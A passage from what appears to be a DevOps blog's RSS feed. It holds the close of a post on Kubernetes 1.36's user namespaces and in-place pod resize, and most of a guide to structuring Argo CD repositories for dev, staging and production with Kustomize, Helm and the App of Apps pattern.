              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vertical Pod Autoscaler implementations historically had to choose between &quot;recreate the pod and disrupt traffic&quot; (the auto mode) or &quot;just write the recommendation to a label and hope a future redeploy picks it up&quot; (the off mode). With pod-level in-place resize, VPA can apply recommendations every few minutes without touching pod identity. PDBs, leader election, in-flight requests, and cached state all stay intact.</p>
<p>The remaining caveat: the <strong>request</strong> part of the resize affects scheduling, not what the kubelet has already accepted. A pod resized up beyond the node&#39;s remaining capacity stays running with its new limits, but the API server records the discrepancy. Cluster autoscaler should be the one reacting to that signal, not the workload itself.</p>
<h2 id="h2-cluster-prerequisites-checklist" class="group relative scroll-mt-24">
        <a href="#h2-cluster-prerequisites-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cluster prerequisites checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cluster-prerequisites-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before flipping either feature on, confirm:</p>
<pre><code class="hljs language-text">[ ] Every node is on Kubernetes 1.36 (kubectl get nodes -o wide)
[ ] uname -r reports &gt;= 6.3 on every node intended for hostUsers: false
[ ] cat /sys/fs/cgroup/cgroup.controllers shows cpu and memory (cgroup v2)
[ ] containerd --version reports 2.0+ OR cri-o --version reports a recent build
[ ] /var/lib/kubelet/pods/ is on ext4/xfs/btrfs/tmpfs (filesystem supports idmap mounts)
[ ] kubectl version --client shows &gt;= v1.32.0 (resize subresource)
</code></pre><p>A common gotcha: if you upgrade your control plane to 1.36 before the nodes, pods with <code>hostUsers: false</code> will be admitted by the API server but stuck in <code>ContainerCreating</code> because the older kubelet doesn&#39;t know what to do with the field. Roll the kubelet binary on the nodes first.</p>
<h2 id="h2-what-about-the-rest-of-136" class="group relative scroll-mt-24">
        <a href="#h2-what-about-the-rest-of-136" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What about the rest of 1.36?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-about-the-rest-of-136"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few items worth at least knowing exist:</p>
<ul>
<li><strong><code>PodLifecycleSleepAction</code> to GA.</strong> A <code>preStop</code> hook can now declare a structured sleep instead of <code>[&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 5&quot;]</code>, which means the kubelet doesn&#39;t have to fork a shell to terminate a pod gracefully.</li>
<li><strong>Recursive Read-Only Mounts to GA.</strong> <code>readOnly: true</code> finally applies recursively to bind-mounted subtrees on Linux 5.12+.</li>
<li><strong><code>FineGrainedSupplementalGroups</code> policy graduates.</strong> Pods can declare exactly how the container&#39;s supplementary groups are derived, which closes a small but irritating discrepancy between Kubernetes and Docker behavior.</li>
<li><strong>CRI image volumes (alpha, opt-in).</strong> Mount the contents of an OCI image as a volume without running a container for it. Mostly useful for sidecar-style data delivery (model weights, ML datasets, mass config blobs).</li>
</ul>
<p>None of these change your day in the way that user namespaces and pod resize do, but the recursive read-only mounts in particular fix a real footgun if you&#39;ve ever had a sub-mount remain writable inside an otherwise read-only mount.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The headline of 1.36 isn&#39;t a new abstraction — it&#39;s two long-running features that finally feel safe to put under load:</p>
<ul>
<li><strong>User namespaces (GA)</strong> flips the security baseline for stateless workloads. Add <code>hostUsers: false</code> to pods that don&#39;t need host network/PID/IPC, and a chunk of the container-escape attack surface goes away.</li>
<li><strong>Pod-level in-place resize (beta on by default)</strong> turns vertical autoscaling into a non-disruptive operation. The kubelet patches the cgroup, the application doesn&#39;t restart, and PDBs stay green.</li>
</ul>
<p>Both depend on infrastructure you should already have — cgroup v2, kernel 6.3+, containerd 2.0+ — but it&#39;s worth running through the prerequisites checklist before you flip the field on a production deployment. The feature gates are gone, but the kernel and runtime requirements aren&#39;t.</p>
<p>Worth bookmarking the official posts: the <a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/">user namespaces GA announcement</a>, the <a href="https://kubernetes.io/blog/2026/04/30/kubernetes-v1-36-inplace-pod-level-resources-beta/">pod-level resize beta</a>, and the <a href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/">v1.36 release notes</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[GitOps with Argo CD: Structuring Your Repository for Multi-Environment Deployments]]></title>
      <link>https://devops-daily.com/posts/gitops-argocd-repository-structure-multi-environment</link>
      <description><![CDATA[A practical guide to laying out your Git repository for Argo CD across dev, staging, and production. See real folder structures, Kustomize and Helm patterns, and the pitfalls that bite teams in production.]]></description>
      <pubDate>Mon, 27 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/gitops-argocd-repository-structure-multi-environment</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[gitops]]></category><category><![CDATA[argocd]]></category><category><![CDATA[deployments]]></category><category><![CDATA[repository-structure]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[kustomize]]></category><category><![CDATA[helm]]></category>
      <content:encoded><![CDATA[<p>You promoted a small Helm value change from staging to production. The diff looked harmless. Two minutes later, prod started serving 502s because the same chart version was used everywhere and a default replica count from a shared file leaked into the production overlay. Rolling back took longer than it should have because dev, staging, and prod all sat in the same folder under the same <code>values.yaml</code>.</p>
<p>If that sounds familiar, the problem is rarely Argo CD itself. It is how the repository is laid out.</p>
<p>This post walks through the repository patterns that actually hold up in production: where to put environment overlays, how to handle promotion between dev, staging, and prod, when to split the app code from the config, and what the Argo CD <code>Application</code> resources should look like for each pattern. Code is copy-pasteable.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Use two repos: one for application source code, one for Kubernetes manifests. In the manifests repo, give each environment its own folder and its own Argo CD <code>Application</code>. Pin every environment to a different Git path or branch so a change in dev cannot accidentally hit prod. Use Kustomize overlays or Helm value files per environment, not conditionals based on namespace or labels. Promote by opening a pull request that bumps an image tag in the next environment&#39;s folder, never by editing a shared file.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Kubernetes cluster (kind, k3s, or any managed offering works)</li>
<li>Argo CD installed (<code>kubectl create namespace argocd &amp;&amp; kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml</code>)</li>
<li><code>kubectl</code>, <code>argocd</code> CLI, and either <code>kustomize</code> or <code>helm</code> installed locally</li>
<li>A Git provider (GitHub, GitLab, Gitea) where Argo CD can read your config repo</li>
</ul>
<h2 id="h2-why-repository-layout-decides-your-blast-radius" class="group relative scroll-mt-24">
        <a href="#h2-why-repository-layout-decides-your-blast-radius" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why repository layout decides your blast radius
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-repository-layout-decides-your-blast-radius"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Argo CD reconciles whatever Git tells it to reconcile. If two environments read from the same path, they share the same fate. Your repo layout is the actual blast radius boundary, not the namespace or the cluster.</p>
<p>Three rules to keep in mind:</p>
<ol>
<li>Every environment maps to its own path or branch.</li>
<li>Promotion between environments is a Git operation (commit or merge), nothing else.</li>
<li>Shared bases are fine. Shared overrides are not.</li>
</ol>
<p>Break any of these and you end up debugging Argo CD when the real bug is a YAML file that someone edited at the wrong level.</p>
<h2 id="h2-pattern-1-one-repo-per-app-vs-the-monorepo" class="group relative scroll-mt-24">
        <a href="#h2-pattern-1-one-repo-per-app-vs-the-monorepo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 1: One repo per app vs the monorepo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-1-one-repo-per-app-vs-the-monorepo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You have two choices for how many repos to use.</p>
<p><strong>App + config split (recommended):</strong></p>
<pre><code class="hljs language-text">my-app/                  # source code repo
  src/
  Dockerfile
  .github/workflows/

my-app-config/           # GitOps repo, watched by Argo CD
  base/
  envs/
    dev/
    staging/
    prod/
</code></pre><p>CI builds the image from <code>my-app</code>, pushes to a registry, then opens a PR in <code>my-app-config</code> that bumps the image tag. Argo CD picks up the change.</p>
<p><strong>Why split:</strong> developers can iterate on application code without triggering deploys. Argo CD does not need read access to your source code. You can grant tight permissions on the config repo (only release engineers can merge to <code>prod</code> paths).</p>
<p><strong>Single monorepo:</strong> keep <code>src/</code> and <code>k8s/</code> in the same repo. Simpler for tiny teams. The downside is every code commit triggers a manifest reconciliation check, and PR reviews mix code changes with deploy changes. Pick the split as soon as you have more than one or two services.</p>
<h2 id="h2-pattern-2-folder-per-environment-with-kustomize" class="group relative scroll-mt-24">
        <a href="#h2-pattern-2-folder-per-environment-with-kustomize" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 2: Folder-per-environment with Kustomize
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-2-folder-per-environment-with-kustomize"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the workhorse pattern. It is what most teams land on after a year or two of running Argo CD.</p>
<pre><code class="hljs language-text">my-app-config/
  base/
    deployment.yaml
    service.yaml
    kustomization.yaml
  envs/
    dev/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    staging/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    prod/
      kustomization.yaml
      patch-replicas.yaml
      patch-resources.yaml
      values.env
</code></pre><p>The <code>base/kustomization.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kustomize.config.k8s.io/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Kustomization</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">deployment.yaml</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">service.yaml</span>

<span class="hljs-attr">commonLabels:</span>
  <span class="hljs-attr">app:</span> <span class="hljs-string">my-app</span>
</code></pre><p>A production overlay at <code>envs/prod/kustomization.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kustomize.config.k8s.io/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Kustomization</span>

<span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-prod</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">../../base</span>

<span class="hljs-attr">images:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">ghcr.io/acme/my-app</span>
    <span class="hljs-attr">newTag:</span> <span class="hljs-string">v1.42.0</span>

<span class="hljs-attr">patches:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">patch-replicas.yaml</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">patch-resources.yaml</span>
</code></pre><p>The replicas patch:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">6</span>
</code></pre><p>Render it locally before you commit anything. This is the single most useful habit when working with Kustomize:</p>
<pre><code class="hljs language-bash">kubectl kustomize envs/prod
</code></pre><p>Expected output (truncated):</p>
<pre><code class="hljs language-text">apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: my-app
  name: my-app
  namespace: my-app-prod
spec:
  replicas: 6
  template:
    spec:
      containers:
        - image: ghcr.io/acme/my-app:v1.42.0
          name: my-app
          resources:
            limits:
              cpu: &quot;2&quot;
              memory: 2Gi
</code></pre><p>If something looks wrong here, it is wrong. Argo CD will render the same output.</p>
<p>The matching Argo CD <code>Application</code> for prod:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app-prod</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-app-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">envs/prod</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-prod</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">syncOptions:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">CreateNamespace=true</span>
</code></pre><p>Notice the <code>path: envs/prod</code>. Dev and staging get their own <code>Application</code> resources pointing at <code>envs/dev</code> and <code>envs/staging</code>. There is no shared file that can break two environments at once.</p>
<h2 id="h2-pattern-3-helm-with-one-values-file-per-environment" class="group relative scroll-mt-24">
        <a href="#h2-pattern-3-helm-with-one-values-file-per-environment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 3: Helm with one values file per environment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-3-helm-with-one-values-file-per-environment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you already publish a Helm chart, use it. Do not rewrite it as Kustomize for the sake of it.</p>
<pre><code class="hljs language-text">my-app-config/
  chart/
    Chart.yaml
    templates/
    values.yaml
  envs/
    dev/values.yaml
    staging/values.yaml
    prod/values.yaml
</code></pre><p>The Argo CD <code>Application</code> for staging:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app-staging</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-app-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">chart</span>
    <span class="hljs-attr">helm:</span>
      <span class="hljs-attr">valueFiles:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">../envs/staging/values.yaml</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-staging</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
</code></pre><p>A real <code>envs/prod/values.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">image:</span>
  <span class="hljs-attr">repository:</span> <span class="hljs-string">ghcr.io/acme/my-app</span>
  <span class="hljs-attr">tag:</span> <span class="hljs-string">v1.42.0</span>

<span class="hljs-attr">replicaCount:</span> <span class="hljs-number">6</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-attr">requests:</span>
    <span class="hljs-attr">cpu:</span> <span class="hljs-string">500m</span>
    <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
  <span class="hljs-attr">limits:</span>
    <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;2&quot;</span>
    <span class="hljs-attr">memory:</span> <span class="hljs-string">2Gi</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">my-app.example.com</span>

<span class="hljs-attr">autoscaling:</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">minReplicas:</span> <span class="hljs-number">6</span>
  <span class="hljs-attr">maxReplicas:</span> <span class="hljs-number">20</span>
</code></pre><p>Render locally before you push:</p>
<pre><code class="hljs language-bash">helm template my-app ./chart -f envs/prod/values.yaml
</code></pre><p>If this fails or outputs the wrong thing, do not commit. Argo CD will fail the same way, but in front of your team.</p>
<h2 id="h2-pattern-4-app-of-apps-for-fleet-wide-changes" class="group relative scroll-mt-24">
        <a href="#h2-pattern-4-app-of-apps-for-fleet-wide-changes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 4: App of Apps for fleet-wide changes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-4-app-of-apps-for-fleet-wide-changes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Once you pass a handful of services, you do not want to write thirty <code>Application</code> YAMLs by hand. Use the <strong>App of Apps</strong> pattern: one parent <code>Application</code> that points to a folder full of child <code>Application</code> manifests.</p>
<pre><code class="hljs language-text">my-platform-config/
  apps/
    dev/
      my-app.yaml
      my-other-app.yaml
    staging/
      my-app.yaml
    prod/
      my-app.yaml
</code></pre><p>The parent for the dev environment:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">dev-apps</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-platform-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">apps/dev</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
</code></pre><p>Adding a new service to dev is now one PR that drops a single YAML file into <code>apps/dev/</code>. No clicking around in the UI, no <code>argocd app create</code> commands.</p>
<p>For larger setups, look at <code>ApplicationSet</code>, which generates <code>Application</code> resources from a list, a Git directory, or a cluster generator. It is the right tool when you have ten environments times five clusters, not three environments times one cluster.</p>
<h2 id="h2-promoting-between-environments" class="group relative scroll-mt-24">
        <a href="#h2-promoting-between-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Promoting between environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-promoting-between-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The whole point of GitOps is that promotion is a commit. Here is the flow that works:</p>
<ol>
<li>CI builds image <code>ghcr.io/acme/my-app:v1.42.0</code> and pushes it.</li>
<li>CI opens a PR in <code>my-app-config</code> that updates <code>envs/dev/kustomization.yaml</code> to set <code>newTag: v1.42.0</code>.</li>
<li>PR auto-merges if checks pass. Argo CD syncs dev within a minute or two.</li>
<li>After dev runs the new tag for some agreed time, a human (or an automated job) opens a PR that bumps <code>envs/staging/kustomization.yaml</code> to the same tag.</li>
<li>Same again for <code>envs/prod</code>, this time gated on a manual review.</li>
</ol>
<p>A typical CI step that opens the dev PR:</p>
<pre><code class="hljs language-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Bump</span> <span class="hljs-string">dev</span> <span class="hljs-string">image</span> <span class="hljs-string">tag</span>
  <span class="hljs-attr">run:</span> <span class="hljs-string">|
    git clone https://x-access-token:${{ secrets.GH_PAT }}@github.com/acme/my-app-config.git
    cd my-app-config
    yq -i &#x27;(.images[] | select(.name==&quot;ghcr.io/acme/my-app&quot;)).newTag = &quot;${{ github.sha }}&quot;&#x27; envs/dev/kustomization.yaml
    git checkout -b bump-dev-${{ github.sha }}
    git commit -am &quot;dev: bump my-app to ${{ github.sha }}&quot;
    git push origin bump-dev-${{ github.sha }}
    gh pr create --fill --base main</span>
</code></pre><p>Use <code>argocd-image-updater</code> if you do not want to wire this in CI yourself. It watches the registry and writes the tag bump back to Git. The end result is the same: tags change in Git, never in the cluster.</p>
<h2 id="h2-common-mistakes-that-break-things-in-production" class="group relative scroll-mt-24">
        <a href="#h2-common-mistakes-that-break-things-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common mistakes that break things in production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
